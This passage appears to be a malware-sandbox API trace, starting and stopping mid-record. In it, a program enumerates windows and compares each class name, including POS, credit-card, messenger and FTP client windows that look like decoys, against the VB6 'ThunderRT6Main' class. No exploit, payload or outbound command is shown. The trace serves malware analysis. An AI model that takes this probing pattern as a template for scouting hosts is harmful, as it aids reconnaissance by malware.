hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0134.524] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0134.524] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0134.524] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0134.525] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.525] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0134.525] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0134.525] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0134.525] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0134.525] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0134.525] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0134.525] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.525] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0134.525] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.525] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.525] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0134.525] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0134.525] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0134.525] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0134.525] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0134.525] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0134.525] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0134.525] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0134.525] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.525] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0134.525] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0134.525] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0134.525] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0134.525] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0134.525] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0134.525] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0134.525] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.525] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.525] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.525] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0134.525] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0134.526] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0134.526] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.526] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0134.526] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0134.526] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0134.526] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.526] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0134.526] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.526] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.526] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.526] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0134.526] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.526] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.526] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.526] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0134.526] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.526] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.526] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.526] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0134.526] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0134.526] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0134.526] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.526] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0134.526] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.526] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.526] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0134.526] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0134.526] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0134.526] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0134.526] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0134.526] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0134.527] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0134.527] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0134.527] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0134.527] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0134.527] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.527] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.527] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0134.527] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0134.527] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0134.527] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0134.527] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0134.527] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0134.527] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.527] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.527] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0134.527] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0134.527] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0134.527] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0134.527] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0134.527] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0134.527] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.527] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.527] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0134.527] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0134.527] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0134.527] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0134.527] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0134.527] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0134.527] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.527] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.527] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0134.527] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0134.528] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0134.528] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0134.528] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0134.528] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0134.528] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.528] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.528] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0134.528] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0134.528] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0134.528] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0134.528] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0134.528] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0134.528] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.528] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.528] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0134.528] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0134.528] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0134.528] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0134.528] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0134.528] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0134.528] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.528] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.528] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0134.528] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0134.528] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0134.528] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0134.528] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0134.528] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0134.528] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.528] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.528] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0134.529] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0134.529] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0134.529] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0134.529] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0134.529] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0134.529] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.529] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.529] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0134.529] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0134.529] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0134.529] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0134.529] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0134.529] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0134.529] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.529] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.529] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0134.529] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0134.529] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0134.529] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0134.529] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0134.529] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0134.529] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.529] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.529] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0134.529] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0134.529] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0134.529] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0134.529] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0134.529] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0134.529] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.530] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.530] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0134.530] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0134.530] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0134.530] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0134.530] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0134.530] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0134.530] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.530] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.530] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0134.530] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0134.530] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0134.530] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0134.530] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0134.530] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0134.530] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.530] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.530] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0134.530] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0134.530] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0134.530] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0134.530] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0134.530] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0134.530] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.530] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.530] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0134.530] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0134.530] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0134.530] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0134.530] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0134.531] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0134.531] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.531] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.531] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0134.531] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0134.531] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0134.531] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0134.531] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0134.531] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0134.531] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.531] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.531] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0134.531] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0134.531] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0134.531] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0134.531] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0134.531] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0134.531] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.531] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.531] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0134.531] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0134.531] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0134.531] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0134.531] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0134.531] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0134.531] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.531] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.531] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0134.531] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0134.531] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0134.531] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0134.531] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0134.531] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0134.531] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.532] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.532] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0134.532] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0134.532] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0134.532] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0134.532] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0134.532] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0134.532] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.532] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.532] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0134.532] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0134.532] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0134.532] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0134.532] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0134.532] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0134.532] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.532] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.532] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0134.532] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0134.532] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0134.532] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0134.532] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0134.532] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0134.532] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.532] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.532] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0134.532] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0134.532] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0134.532] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0134.532] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0134.533] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0134.533] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.533] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.533] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0134.533] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0134.533] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0134.533] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0134.533] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0134.533] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0134.533] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.533] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.533] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0134.533] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0134.533] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0134.533] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0134.533] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) 